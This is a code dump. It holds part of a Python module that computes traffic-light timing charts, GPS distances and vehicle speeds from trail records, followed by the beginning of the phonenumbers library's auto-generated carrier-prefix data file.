dlng = fabs(lng0 - lng1) dlat = fabs(lat0 - lat1) h = hav(dlat) + cos(lat0) * cos(lat1) * hav(dlng) distance = int(2 * EARTH_RADIUS * asin(sqrt(h))*3600) if distance>700: distance = 0 print('aaaa---11',distance) except: print('except----1') distance =0 return distance def pre_processroads(inttime,start_time,greentime,yellowtime,redtime,distance,roadname,index): """ :param inttime: 当前时刻事件time.time :param start_time: 绿灯开始时间 :param greentime: 绿灯间隔时间 :param yellowtime: 黄灯间隔时间 :param redtime: 红灯间隔时间 :param roadname:路口名字 :return: x轴数据和visualmap数据 """ # inttime = int(time.time()) # final_lists = [] # start_time = 1587605400000 # miletime_now = inttime * 1000 # greentime = 109 # yellowtime = 4 # redtime = 2 miletime_now = inttime * 1000 allroadtimes, flagleftcolor = concattimes(miletime_now, start_time, greentime, yellowtime, redtime) tendata = ten_minsdata(inttime,400) fin_list = [] count = 0 aaa = [] aaa.append(0) # print('aa1111111time-----------',allroadtimes) for i in tendata: if i in allroadtimes: # print('ok') aaa.append(count) fin_list.append([i, distance]) else: fin_list.append([i, '']) count += 1 fin_list[0][1] = distance fin_list[len(fin_list) - 1][1] = distance serices = [] print('-=-=-=-=-=-111111----',aaa) for i in range(0, len(aaa) - 3, 3): print('-000--------',i,aaa[i]) if flagleftcolor == 'green': serices.append(dict(gt=aaa[i], lte=aaa[i + 1], color='green')) serices.append(dict(gt=aaa[i + 1], lte=aaa[i + 2], color='yellow')) serices.append(dict(gt=aaa[i + 2], lte=aaa[i + 3], color='red')) elif flagleftcolor == 'yellow': serices.append(dict(gt=aaa[i], lte=aaa[i + 1], color='yellow')) serices.append(dict(gt=aaa[i + 1], lte=aaa[i + 2], color='red')) serices.append(dict(gt=aaa[i + 2], lte=aaa[i + 3], color='green')) else: serices.append(dict(gt=aaa[i], lte=aaa[i + 1], color='red')) serices.append(dict(gt=aaa[i + 1], lte=aaa[i + 2], color='green')) serices.append(dict(gt=aaa[i + 2], lte=aaa[i + 3], color='yellow')) if len(aaa) % 3 == 1: serices.append(dict(gt=aaa[len(aaa) - 1], lte=len(fin_list), color=flagleftcolor)) elif len(aaa) % 3 == 2: serices.append(dict(gt=aaa[len(aaa) - 2], lte=aaa[len(aaa) - 1], color=flagleftcolor)) serices.append(dict(gt=aaa[len(aaa) - 1], lte=len(fin_list), color=nextcolor(flagleftcolor))) else: serices.append(dict(gt=aaa[len(aaa) - 3], lte=aaa[len(aaa) - 2], color=flagleftcolor)) serices.append(dict(gt=aaa[len(aaa) - 2], lte=aaa[len(aaa) - 1], color=nextcolor(flagleftcolor))) serices.append(dict(gt=aaa[len(aaa) - 1], lte=len(fin_list), color=nextnextcolor(flagleftcolor))) makeseriesitems = makeseriesdict(roadname,fin_list) makevisualMapitems = makevisualMap(index,serices) return makeseriesitems,makevisualMapitems def makeseriesdict(name,data): tmp = { "name": name, "type": 'line', "smooth": "true", "symbolSize": 5, "connectNulls": 'true', "data":data } return tmp def makevisualMap(seriesIndex,data): tmp = { "hoverLink":"false", "show": False, "showSymbol": "false", "dimension": 0, "seriesIndex":seriesIndex, "pieces": data } return tmp #计算下时刻的红绿灯情况 def nextcolor(flagleftcolor): nextcolor ='green' if flagleftcolor == 'green': nextcolor = 'yellow' elif flagleftcolor == 'yellow': nextcolor = 'red' else: nextcolor = 'green' return nextcolor #计算下下时刻的红绿灯情况 def nextnextcolor(flagleftcolor): nextcolor ='green' if flagleftcolor == 'green': nextcolor = 'red' elif flagleftcolor == 'yellow': nextcolor = 'green' else: nextcolor = 'yellow' return nextcolor #单次平均时间 # processing def per_processing_speed(la0,la1,long1,long2,time1,time2): try: distance_tmp = get_distance_hav_dis(la0,long1,la1,long2) left_time = int(time2-time1) # left_time = getcalc_time(time1,time2) ave_speed = int(distance_tmp/left_time) except: ave_speed = 0 return ave_speed #获取当前场景初始点 def getscenesPoint(type): points =[] try: first_data = TestRoadsName.query.filter(type==TestRoadsName.name).first() type_roadname = first_data.type #根据type寻找当前路段 data_filter = Roadname.query.filter(type_roadname==Roadname.type).all() for i in data_filter: if i.distance==0: points=[i.latitude,i.longitude] break print('========217===',points) except: points = [40.011467, 116.406784] print('points----------',points) return points def get_distance_hav_dis(lat0, lng0, lat1, lng1): try: EARTH_RADIUS = 6371 distance = 0 "用haversine公式计算球面两点间的距离。" # 经纬度转换成弧度 lat0 = float(lat0) lat1 = float(lat1) lng0 = float(lng0) lng1 = float(lng1) lat0 = radians(lat0) lat1 = radians(lat1) lng0 = radians(lng0) lng1 = radians(lng1) dlng = fabs(lng0 - lng1) dlat = fabs(lat0 - lat1) h = hav(dlat) + cos(lat0) * cos(lat1) * hav(dlng) distance = int(2 * EARTH_RADIUS * asin(sqrt(h))*1000) print('a-------aaa---11',distance) except: print('except----1') distance =0 return distance #计算平均速度 def aveDisSpeed(distance,times): try: allroaddis_first = Trail.query.filter().order_by('id').limit(2) print('new--new1--------',allroaddis_first[0].latitude) print('new--new222--------',allroaddis_first[1].latitude) lat1 = allroaddis_first[0].latitude lat2 = allroaddis_first[1].latitude long1 = allroaddis_first[0].longitude long2 = allroaddis_first[1].longitude print('====end=====',long1,long2,lat2,lat1) distance = get_distance_hav_dis(lat1,long1,lat2,long2) print('start---------') speed = int(float(distance)*3.6) print('speed--------',speed) except: speed = 0 return int(speed) #获取当前时刻速度 def getallpoint_distance(imei): try: count_data = Trail.query.filter(Trail.imei == imei).all() tmp_len = len(count_data) time1 = count_data[0].date_time time2 = count_data[tmp_len - 1].date_time tmp_dis = 0 for i in range(0, len(count_data) - 1): sp = get_distance_hav(count_data[i].latitude, count_data[i].longitude, count_data[i + 1].latitude, count_data[i + 1].longitude) print ('sp----------', sp) tmp_dis += sp except: tmp_dis = 0 return tmp_dis #获取当前时刻产生的数据 def getspeed_data(imei): count_data = Trail.query.filter(Trail.imei ==imei).all() tmp_len = len(count_data) time1 = count_data[0].date_time time2 = count_data[tmp_len - 1].date_time tmp_speed =0 for i in range(0,len(count_data)-1): sp = get_distance_hav(count_data[i].latitude,count_data[i].longitude,count_data[i+1].latitude,count_data[i+1].longitude) print ('sp----------',sp) tmp_speed += sp try: final_speed = tmp_speed/(len(count_data)-1) except: final_speed = 0 return final_speed #获取当前路段的运行情况,剔除少于180秒的情况 def getSomeroadCishu(roadname): num = Trail.query.filter(Trail.type==roadname).distinct().values("imei") num_list = [] for i in num: count_times = Trail.query.filter(Trail.imei==i.imei).all() print(type(count_times)) tmp_len = len(count_times) if tmp_len>120: cishu,time_stop = computer_cishu_time(count_times) la0 = count_times[0].latitude la1 = count_times[tmp_len-1].latitude long1 = count_times[0].longitude long2 = count_times[tmp_len-1].longitude time1 = count_times[0].date_time time2 = count_times[tmp_len-1].date_time ave_speed = processing_time(la0,la1,long1,long2,time1,time2) if ave_speed<120 and ave_speed>1: num_list.append([ave_speed,cishu,time_stop]) print(num_list) a = np.array(num_list) bb = np.mean(a,axis=0) print(int(bb[0]),int(bb[1]),int(bb[2])) return int(bb[0]),int(bb[1]),int(bb[2]),len(num_list[0]) # processing def processing_time(la0,la1,long1,long2,time1,time2): distance_tmp = get_distance_hav_dis(la0,long1,la1,long2) left_time = getcalc_time(time1,time2) ave_speed = distance_tmp/left_time return ave_speed #时间差 def getcalc_time(aaa,bbb): aaa = aaa bbb = bbb # dd = datetime.datetime.strptime(aaa, "%Y-%m-%d %H:%M:%S") dd = aaa t = dd.timetuple() timeStamp1 = int(time.mktime(t)) dd1 = bbb t = dd1.timetuple() timeStamp2 = int(time.mktime(t)) time_cishu = timeStamp2 - timeStamp1 return time_cishu #计算停车次数和时间 def computer_cishu_time(items): sequence = [] for i in items: sequence.append(i.latitude+i.longitude) counts = {} for x in sequence: if x in counts: counts[x] += 1 else: counts[x] = 1 tmp = counts counts = 0 stoptime = 0 for i in tmp: #停留3秒以上算停车 if tmp[i] > 5: counts += 1 stoptime += tmp[i] - 1 return counts,int(stoptime) def real_trackLength(imei): all_trail = Trail.query.filter(Trail.imei == imei).all() all_distance_real = 0 first_point = [] end_point = [] print (type(all_trail),len(all_trail)) tmp_all_trail = [] for i in range(0, len(all_trail), 1): print (all_trail[len(all_trail)-1].longitude) if all_trail[i].latitude==all_trail[len(all_trail)-1].latitude and all_trail[i].longitude==all_trail[len(all_trail)-1].longitude: continue else: tmp_all_trail.append(all_trail[i]) print ('----',len(all_trail),tmp_all_trail) all_trail = tmp_all_trail for i in range(0,len(all_trail),1): print(all_trail[i].imei) try: if i==0: first_point = [all_trail[i].latitude,all_trail[i].longitude] distance =get_distance_hav_dis(all_trail[i].latitude,all_trail[i].longitude,all_trail[i+1].latitude,all_trail[i+1].longitude) dat_time = getcalc_time(all_trail[i].date_time,all_trail[i+1].date_time) # print ('distance-----------',distance) real_per_distance = per_track_distance(distance,dat_time) # print ('--------',real_per_distance) all_distance_real +=real_per_distance end_point = [all_trail[i].latitude,all_trail[i].longitude] except: continue dream_distance = get_distance_hav_dis(first_point[0],first_point[1],end_point[0],end_point[1]) return all_distance_real,dream_distance def per_track_distance(distance,dis_time): dis = ((dis_time*11.11)*(dis_time*11.11) +distance*distance) **0.5 return dis def rate_trackLength(imei): try: real_track_length ,think_length= real_trackLength(imei=imei) think_length = think_length*(2**0.5) print (real_track_length,think_length) rate_real = real_track_length/think_length final_rate_real = round(rate_real,2) return final_rate_real except: return 0
35.016588
139
0.594708
7ead84f0155eb572ba2eaca1e4d1b676764cc320
309,753
py
Python
python/phonenumbers/carrierdata/data0.py
CrHD/python-phonenumbers
e30be8952b4ad9d92902c27cafd7947b93225ce4
[ "Apache-2.0" ]
null
null
null
python/phonenumbers/carrierdata/data0.py
CrHD/python-phonenumbers
e30be8952b4ad9d92902c27cafd7947b93225ce4
[ "Apache-2.0" ]
null
null
null
python/phonenumbers/carrierdata/data0.py
CrHD/python-phonenumbers
e30be8952b4ad9d92902c27cafd7947b93225ce4
[ "Apache-2.0" ]
1
2020-09-08T14:45:34.000Z
2020-09-08T14:45:34.000Z
"""Per-prefix data, mapping each prefix to a dict of locale:name. Auto-generated file, do not edit by hand. """ from ..util import u # Copyright (C) 2011-2018 The Libphonenumber Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. data = { '554198474':{'en': 'Brasil Telecom GSM'}, '554198475':{'en': 'Brasil Telecom GSM'}, '551698157':{'en': 'TIM'}, '554198477':{'en': 'Brasil Telecom GSM'}, '554198471':{'en': 'Brasil Telecom GSM'}, '554198472':{'en': 'Brasil Telecom GSM'}, '554198473':{'en': 'Brasil Telecom GSM'}, '554198478':{'en': 'Brasil Telecom GSM'}, '554198476':{'en': 'Brasil Telecom GSM'}, '551698156':{'en': 'TIM'}, '551698155':{'en': 'TIM'}, '551698154':{'en': 'TIM'}, '551599186':{'en': 'Claro BR'}, '551599187':{'en': 'Claro BR'}, '551599184':{'en': 'Claro BR'}, '551599185':{'en': 'Claro BR'}, '551599182':{'en': 'Claro BR'}, '551599183':{'en': 'Claro BR'}, '25288':{'en': 'Somali Networks'}, '551599181':{'en': 'Claro BR'}, '25280':{'en': 'Somali Networks'}, '375294':{'be': u('\u0411\u0435\u043b\u0421\u0435\u043b'), 'en': 'Belcel', 'ru': u('\u0411\u0435\u043b\u0421\u0435\u043b')}, '551498810':{'en': 'Oi'}, '1787589':{'en': 'CENTENNIAL'}, '1787588':{'en': 'CENTENNIAL'}, '551498811':{'en': 'Oi'}, '459314':{'en': 'SimService'}, '459315':{'en': 'SimService'}, '1787580':{'en': 'CENTENNIAL'}, '459310':{'en': 'Justfone'}, '459311':{'en': 'MobiWeb Limited'}, '1787585':{'en': 'CENTENNIAL'}, '459313':{'en': 'SimService'}, '44798':{'en': 'EE'}, '44790':{'en': 'EE'}, '44793':{'en': 'O2'}, '44792':{'en': 'O2'}, '44795':{'en': 'EE'}, '44794':{'en': 'EE'}, '44796':{'en': 'Orange'}, '336051':{'en': 'SFR'}, '336050':{'en': 'SFR'}, '336053':{'en': 'SFR'}, '336052':{'en': 'SFR'}, '22870':{'en': 'TOGOCEL'}, '336054':{'en': 'SFR'}, '553499183':{'en': 'TIM'}, '553499182':{'en': 'TIM'}, '553499181':{'en': 'TIM'}, '553499187':{'en': 'TIM'}, '22879':{'en': 'Moov'}, '553499185':{'en': 'TIM'}, '553499184':{'en': 'TIM'}, '551398136':{'en': 'TIM'}, '551398137':{'en': 'TIM'}, '551398134':{'en': 'TIM'}, '551398135':{'en': 'TIM'}, '551398132':{'en': 'TIM'}, '551398133':{'en': 'TIM'}, '551398131':{'en': 'TIM'}, '551398138':{'en': 'TIM'}, '551398139':{'en': 'TIM'}, '2348479':{'en': 'Starcomms'}, '2348478':{'en': 'Starcomms'}, '516596531':{'en': 'Claro'}, '516596530':{'en': 'Claro'}, '516596533':{'en': 'Claro'}, '516596532':{'en': 'Claro'}, '2348475':{'en': 'Starcomms'}, '2348474':{'en': 'Starcomms'}, '2348477':{'en': 'Starcomms'}, '2348476':{'en': 'Starcomms'}, '479257':{'en': 'NetCom'}, '1876442':{'en': 'Digicel'}, '554498412':{'en': 'Brasil Telecom GSM'}, '553199308':{'en': 'TIM'}, '38640':{'en': 'A1'}, '38641':{'en': 'Telekom Slovenije'}, '38643':{'en': 'Telekom Slovenije'}, '554898415':{'en': 'Brasil Telecom GSM'}, '1242457':{'en': 'BaTelCo'}, '554898417':{'en': 'Brasil Telecom GSM'}, '2347027':{'en': 'Multilinks'}, '554898411':{'en': 'Brasil Telecom GSM'}, '38649':{'en': 'Telekom Slovenije'}, '554898413':{'en': 'Brasil Telecom GSM'}, '554898412':{'en': 'Brasil Telecom GSM'}, '2348783':{'en': 'Starcomms'}, '2348782':{'en': 'Starcomms'}, '2348787':{'en': 'Starcomms'}, '2348786':{'en': 'Starcomms'}, '2348785':{'en': 'Starcomms'}, '2348784':{'en': 'Starcomms'}, '2348789':{'en': 'Starcomms'}, '2348788':{'en': 'Starcomms'}, '551798138':{'en': 'TIM'}, '551798139':{'en': 'TIM'}, '1242456':{'en': 'BaTelCo'}, '551798132':{'en': 'TIM'}, '551798133':{'en': 'TIM'}, '551798131':{'en': 'TIM'}, '551798136':{'en': 'TIM'}, '551798137':{'en': 'TIM'}, '551798134':{'en': 'TIM'}, '551798135':{'en': 'TIM'}, '5511988':{'en': 'Claro BR'}, '5511989':{'en': 'Claro BR'}, '5511982':{'en': 'TIM'}, '5511983':{'en': 'TIM'}, '5511981':{'en': 'TIM'}, '5511986':{'en': 'TIM'}, '5511987':{'en': 'TIM'}, '5511984':{'en': 'TIM'}, '5511985':{'en': 'TIM'}, '29769':{'en': 'SETAR'}, '29764':{'en': 'Digicel'}, '29766':{'en': 'SETAR'}, '29763':{'en': 'Digicel'}, '554799909':{'en': 'TIM'}, '552799231':{'en': 'Claro BR'}, '554799905':{'en': 'TIM'}, '554799904':{'en': 'TIM'}, '554799907':{'en': 'TIM'}, '554799906':{'en': 'TIM'}, '554799901':{'en': 'TIM'}, '554799903':{'en': 'TIM'}, '554799902':{'en': 'TIM'}, '27614':{'en': 'Telkom Mobile'}, '551598808':{'en': 'Oi'}, '551598809':{'en': 'Oi'}, '551498164':{'en': 'TIM'}, '551498165':{'en': 'TIM'}, '551498166':{'en': 'TIM'}, '551598804':{'en': 'Oi'}, '551498161':{'en': 'TIM'}, '551498162':{'en': 'TIM'}, '551498163':{'en': 'TIM'}, '554498418':{'en': 'Brasil Telecom GSM'}, '552799233':{'en': 'Claro BR'}, '554799638':{'en': 'TIM'}, '554799637':{'en': 'TIM'}, '554799636':{'en': 'TIM'}, '554799635':{'en': 'TIM'}, '553199239':{'en': 'TIM'}, '554799633':{'en': 'TIM'}, '554799632':{'en': 'TIM'}, '554799631':{'en': 'TIM'}, '553199691':{'en': 'Telemig Celular'}, '553199692':{'en': 'Telemig Celular'}, '553199693':{'en': 'Telemig Celular'}, '553199694':{'en': 'Telemig Celular'}, '553199695':{'en': 'Telemig Celular'}, '553199696':{'en': 'Telemig Celular'}, '553199697':{'en': 'Telemig Celular'}, '553199698':{'en': 'Telemig Celular'}, '553199699':{'en': 'Telemig Celular'}, '2347782':{'en': 'Starcomms'}, '2347783':{'en': 'Starcomms'}, '22678':{'en': 'Telecel Faso'}, '22679':{'en': 'Telecel Faso'}, '22676':{'en': 'Airtel'}, '22677':{'en': 'Airtel'}, '22674':{'en': 'Airtel'}, '22675':{'en': 'Airtel'}, '22672':{'en': 'Telmob'}, '22673':{'en': 'Telmob'}, '22670':{'en': 'Telmob'}, '22671':{'en': 'Telmob'}, '553199346':{'en': 'TIM'}, '553199347':{'en': 'TIM'}, '1787619':{'en': 'SunCom Wireless Puerto Rico'}, '553199345':{'en': 'TIM'}, '553199342':{'en': 'TIM'}, '50672':{'en': 'Claro'}, '50671':{'en': 'Claro'}, '553199341':{'en': 'TIM'}, '1787613':{'en': 'Claro'}, '1787612':{'en': 'Claro'}, '1787617':{'en': 'Claro'}, '1787616':{'en': 'Claro'}, '1787615':{'en': 'Claro'}, '1787614':{'en': 'Claro'}, '552799237':{'en': 'Claro BR'}, '551298823':{'en': 'Oi'}, '551298822':{'en': 'Oi'}, '551298821':{'en': 'Oi'}, '551298820':{'en': 'Oi'}, '551899714':{'en': 'Vivo'}, '551899715':{'en': 'Vivo'}, '551899716':{'en': 'Vivo'}, '551899717':{'en': 'Vivo'}, '551899718':{'en': 'Vivo'}, '551899719':{'en': 'Vivo'}, '553199203':{'en': 'TIM'}, '553199202':{'en': 'TIM'}, '551598118':{'en': 'TIM'}, '551598119':{'en': 'TIM'}, '553199207':{'en': 'TIM'}, '553199206':{'en': 'TIM'}, '553199205':{'en': 'TIM'}, '553199204':{'en': 'TIM'}, '551598112':{'en': 'TIM'}, '551499831':{'en': 'Vivo'}, '553199209':{'en': 'TIM'}, '551598111':{'en': 'TIM'}, '551598116':{'en': 'TIM'}, '551598117':{'en': 'TIM'}, '551598114':{'en': 'TIM'}, '551598115':{'en': 'TIM'}, '354644':{'en': 'Nova'}, '354646':{'en': 'IMC'}, '354647':{'en': 'IMC'}, '354640':{'en': u('\u00d6ryggisfjarskipti')}, '354641':{'en': u('\u00d6ryggisfjarskipti')}, '354649':{'en': 'Vodafone'}, '2626920':{'en': 'Orange'}, '2626922':{'en': 'Orange'}, '2626923':{'en': 'Orange'}, '3747':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '3745':{'en': 'Ucom', 'ru': u('\u042e\u043a\u043e\u043c')}, '551197058':{'en': 'Claro BR'}, '1787260':{'en': 'Claro'}, '551197059':{'en': 'Claro BR'}, '554698826':{'en': 'Claro BR'}, '43688':{'en': 'Orange AT'}, '55469910':{'en': 'Vivo'}, '551899199':{'en': 'Claro BR'}, '49172':{'en': 'Vodafone'}, '49173':{'en': 'Vodafone'}, '49170':{'en': 'T-Mobile'}, '49171':{'en': 'T-Mobile'}, '49176':{'en': 'O2'}, '49177':{'en': 'Eplus'}, '49174':{'en': 'Vodafone'}, '49175':{'en': 'T-Mobile'}, '49178':{'en': 'Eplus'}, '49179':{'en': 'O2'}, '4476006':{'en': '24 Seven'}, '4476007':{'en': 'Relax'}, '4476002':{'en': 'PageOne'}, '4476000':{'en': 'Mediatel'}, '50370737':{'en': 'Claro'}, '50370736':{'en': 'Claro'}, '50370735':{'en': 'Claro'}, '50370734':{'en': 'Digicel'}, '50370733':{'en': 'Digicel'}, '50370732':{'en': 'Digicel'}, '50370731':{'en': 'Digicel'}, '50370730':{'en': 'Digicel'}, '50370739':{'en': 'Claro'}, '50370738':{'en': 'Claro'}, '551799728':{'en': 'Vivo'}, '551799729':{'en': 'Vivo'}, '551799721':{'en': 'Vivo'}, '551799722':{'en': 'Vivo'}, '551799723':{'en': 'Vivo'}, '551799724':{'en': 'Vivo'}, '551799725':{'en': 'Vivo'}, '551799726':{'en': 'Vivo'}, '551799727':{'en': 'Vivo'}, '4236639':{'en': 'Emnify'}, '552899915':{'en': 'Vivo'}, '32460':{'en': 'Proximus'}, '552899917':{'en': 'Vivo'}, '552899916':{'en': 'Vivo'}, '552899919':{'en': 'Vivo'}, '552899918':{'en': 'Vivo'}, '1345649':{'en': 'Digicel'}, '551499171':{'en': 'Claro BR'}, '551499172':{'en': 'Claro BR'}, '551499173':{'en': 'Claro BR'}, '487209':{'en': 'CenterNet'}, '551499175':{'en': 'Claro BR'}, '551499176':{'en': 'Claro BR'}, '551499177':{'en': 'Claro BR'}, '487205':{'en': 'CenterNet'}, '487204':{'en': 'CenterNet'}, '487207':{'en': 'CenterNet'}, '487206':{'en': 'CenterNet'}, '487201':{'en': 'CenterNet'}, '487200':{'en': 'CenterNet'}, '487203':{'en': 'CenterNet'}, '487202':{'en': 'CenterNet'}, '554599972':{'en': 'TIM'}, '553899907':{'en': 'Telemig Celular'}, '554199221':{'en': 'Vivo'}, '4531312':{'en': 'MI Carrier Services'}, '447380':{'en': 'Three'}, '447381':{'en': 'O2'}, '447382':{'en': 'O2'}, '447383':{'en': 'Three'}, '447384':{'en': 'Vodafone'}, '447385':{'en': 'Vodafone'}, '447386':{'en': 'Vodafone'}, '447387':{'en': 'Vodafone'}, '447388':{'en': 'Vodafone'}, '447437':{'en': 'Vodafone'}, '447434':{'en': 'EE'}, '1671858':{'en': 'i CAN_GSM'}, '447432':{'en': 'EE'}, '3460224':{'en': 'Oceans'}, '447430':{'en': 'O2'}, '447431':{'en': 'O2'}, '1242565':{'en': 'BaTelCo'}, '3460225':{'en': 'VozTelecom'}, '554699978':{'en': 'TIM'}, '518298232':{'en': 'Claro'}, '518298231':{'en': 'Claro'}, '518298230':{'en': 'Claro'}, '554699973':{'en': 'TIM'}, '554699972':{'en': 'TIM'}, '554699971':{'en': 'TIM'}, '26269331':{'en': 'Only'}, '26269330':{'en': 'Only'}, '554199229':{'en': 'Vivo'}, '26269333':{'en': 'Orange'}, '26269332':{'en': 'Only'}, '553499801':{'en': 'Telemig Celular'}, '551898125':{'en': 'TIM'}, '4477008':{'en': 'Sure'}, '553499804':{'en': 'Telemig Celular'}, '553499805':{'en': 'Telemig Celular'}, '551898126':{'en': 'TIM'}, '3866570':{'en': 'Novatel'}, '23266':{'en': 'Onlime'}, '551898127':{'en': 'TIM'}, '551898128':{'en': 'TIM'}, '1939628':{'en': 'CENTENNIAL'}, '552299272':{'en': 'Claro BR'}, '552299273':{'en': 'Claro BR'}, '552299271':{'en': 'Claro BR'}, '552299276':{'en': 'Claro BR'}, '552299277':{'en': 'Claro BR'}, '552299274':{'en': 'Claro BR'}, '552299275':{'en': 'Claro BR'}, '552299278':{'en': 'Claro BR'}, '552299279':{'en': 'Claro BR'}, '55119692':{'en': 'Claro BR'}, '55119690':{'en': 'Vivo'}, '1284347':{'en': 'Digicel'}, '1284346':{'en': 'Digicel'}, '1284345':{'en': 'Digicel'}, '1284344':{'en': 'Digicel'}, '1284343':{'en': 'Digicel'}, '1284342':{'en': 'Digicel'}, '1284341':{'en': 'Digicel'}, '1284340':{'en': 'Digicel'}, '552799316':{'en': 'Claro BR'}, '551898122':{'en': 'TIM'}, '552799279':{'en': 'Claro BR'}, '552799278':{'en': 'Claro BR'}, '552799275':{'en': 'Claro BR'}, '552799274':{'en': 'Claro BR'}, '552799277':{'en': 'Claro BR'}, '552799276':{'en': 'Claro BR'}, '552799271':{'en': 'Claro BR'}, '552799273':{'en': 'Claro BR'}, '552799272':{'en': 'Claro BR'}, '55439910':{'en': 'Vivo'}, '554398850':{'en': 'Claro BR'}, '554299939':{'en': 'TIM'}, '554398852':{'en': 'Claro BR'}, '554299938':{'en': 'TIM'}, '346816':{'en': 'MasMovil'}, '346814':{'en': 'Movistar'}, '346815':{'en': 'Movistar'}, '346812':{'en': 'Movistar'}, '346813':{'en': 'Movistar'}, '346810':{'en': 'Movistar'}, '346811':{'en': 'Movistar'}, '4477001':{'en': 'Nationwide Telephone'}, '4477000':{'en': 'Cloud9'}, '423661':{'en': 'Dimoco'}, '423660':{'en': 'Telecom Liechtenstein'}, '55329996':{'en': 'Telemig Celular'}, '55329998':{'en': 'Telemig Celular'}, '554399116':{'en': 'Vivo'}, '2519':{'en': 'Ethio Telecom'}, '554399117':{'en': 'Vivo'}, '1767615':{'en': 'Digicel'}, '347124':{'en': 'Yoigo'}, '347127':{'en': 'Yoigo'}, '1767616':{'en': 'Digicel'}, '551398118':{'en': 'TIM'}, '551398119':{'en': 'TIM'}, '551398114':{'en': 'TIM'}, '5055':{'en': 'Claro'}, '5056':{'en': 'CooTel'}, '5057':{'en': 'Movistar'}, '551398111':{'en': 'TIM'}, '551398112':{'en': 'TIM'}, '551398113':{'en': 'TIM'}, '459190':{'en': 'Interactive digital media GmbH'}, '459191':{'en': 'Maxtel.dk'}, '1767613':{'en': 'Digicel'}, '5036313':{'en': 'Claro'}, '5036312':{'en': 'Claro'}, '5036311':{'en': 'Claro'}, '1767612':{'en': 'Digicel'}, '5036316':{'en': 'Claro'}, '5036315':{'en': 'Claro'}, '5036314':{'en': 'Claro'}, '2344880':{'en': 'Starcomms'}, '2344881':{'en': 'Starcomms'}, '2344882':{'en': 'Starcomms'}, '3584579':{'en': 'DNA'}, '3584578':{'en': 'DNA'}, '3584577':{'en': 'DNA'}, '3584576':{'en': 'DNA'}, '3584575':{'en': 'AMT'}, '3584574':{'en': 'DNA'}, '3584573':{'en': 'AMT'}, '3584571':{'en': 'Tismi'}, '3584570':{'en': 'AMT'}, '554898433':{'en': 'Brasil Telecom GSM'}, '554898432':{'en': 'Brasil Telecom GSM'}, '554898431':{'en': 'Brasil Telecom GSM'}, '554898436':{'en': 'Brasil Telecom GSM'}, '554898435':{'en': 'Brasil Telecom GSM'}, '554898434':{'en': 'Brasil Telecom GSM'}, '447784':{'en': 'O2'}, '551798111':{'en': 'TIM'}, '551798112':{'en': 'TIM'}, '551798113':{'en': 'TIM'}, '551798114':{'en': 'TIM'}, '459312':{'en': 'SimService'}, '551798116':{'en': 'TIM'}, '551798117':{'en': 'TIM'}, '551798118':{'en': 'TIM'}, '551798119':{'en': 'TIM'}, '5538989':{'en': 'Oi'}, '5538988':{'en': 'Oi'}, '50374':{'en': 'Digicel'}, '554398111':{'en': 'TIM'}, '553199901':{'en': 'Telemig Celular'}, '551698173':{'en': 'TIM'}, '50375':{'en': 'Tigo'}, '5538987':{'en': 'Oi'}, '5538986':{'en': 'Oi'}, '5538985':{'en': 'Oi'}, '2345685':{'en': 'Starcomms'}, '2345684':{'en': 'Starcomms'}, '2345687':{'en': 'Starcomms'}, '2345686':{'en': 'Starcomms'}, '553199905':{'en': 'Telemig Celular'}, '30690299':{'en': 'BWS'}, '553199907':{'en': 'Telemig Celular'}, '554799923':{'en': 'TIM'}, '212641':{'en': 'Maroc Telecom'}, '554799921':{'en': 'TIM'}, '554799927':{'en': 'TIM'}, '554799926':{'en': 'TIM'}, '554799925':{'en': 'TIM'}, '212640':{'en': 'Inwi'}, '554799929':{'en': 'TIM'}, '554799928':{'en': 'TIM'}, '212643':{'en': 'Maroc Telecom'}, '4474413':{'en': 'Stour Marine'}, '4474411':{'en': 'Andrews & Arnold'}, '4474410':{'en': 'Mediatel'}, '4474417':{'en': 'Synectiv'}, '4474416':{'en': 'Vodafone'}, '4474415':{'en': 'Synectiv'}, '4474414':{'en': 'Tismi'}, '212645':{'en': u('M\u00e9ditel')}, '4474419':{'en': 'Voxbone'}, '4474418':{'en': 'Core Telecom'}, '51849747':{'en': 'Claro'}, '51849742':{'en': 'Claro'}, '212647':{'en': 'Inwi'}, '455319':{'en': 'Telia'}, '5522985':{'en': 'Oi'}, '5522986':{'en': 'Oi'}, '5522987':{'en': 'Oi'}, '553499189':{'en': 'TIM'}, '554499173':{'en': 'Vivo'}, '553499188':{'en': 'TIM'}, '212648':{'en': 'Maroc Telecom'}, '554799655':{'en': 'TIM'}, '554799654':{'en': 'TIM'}, '554799657':{'en': 'TIM'}, '554799656':{'en': 'TIM'}, '554799651':{'en': 'TIM'}, '554598418':{'en': 'Brasil Telecom GSM'}, '554799652':{'en': 'TIM'}, '554598416':{'en': 'Brasil Telecom GSM'}, '554598417':{'en': 'Brasil Telecom GSM'}, '554598414':{'en': 'Brasil Telecom GSM'}, '554598415':{'en': 'Brasil Telecom GSM'}, '554598412':{'en': 'Brasil Telecom GSM'}, '554598413':{'en': 'Brasil Telecom GSM'}, '554598411':{'en': 'Brasil Telecom GSM'}, '554499172':{'en': 'Vivo'}, '553499186':{'en': 'TIM'}, '551899198':{'en': 'Claro BR'}, '22654':{'en': 'Orange'}, '22655':{'en': 'Airtel'}, '22656':{'en': 'Airtel'}, '22657':{'en': 'Orange'}, '22651':{'en': 'Telmob'}, '22652':{'en': 'Telmob'}, '552198371':{'en': 'TIM'}, '552198373':{'en': 'TIM'}, '551699975':{'en': 'Vivo'}, '22658':{'en': 'Telecel Faso'}, '552198374':{'en': 'TIM'}, '552198377':{'en': 'TIM'}, '552198376':{'en': 'TIM'}, '22389':{'en': 'Sotelma'}, '553199368':{'en': 'TIM'}, '553199369':{'en': 'TIM'}, '22382':{'en': 'Orange'}, '22383':{'en': 'Orange'}, '553199366':{'en': 'TIM'}, '553199367':{'en': 'TIM'}, '553199361':{'en': 'TIM'}, '553199362':{'en': 'TIM'}, '553199363':{'en': 'TIM'}, '551699609':{'en': 'Vivo'}, '503703':{'en': 'Claro'}, '187659':{'en': 'Digicel'}, '503701':{'en': 'Claro'}, '503700':{'en': 'Claro'}, '503706':{'en': 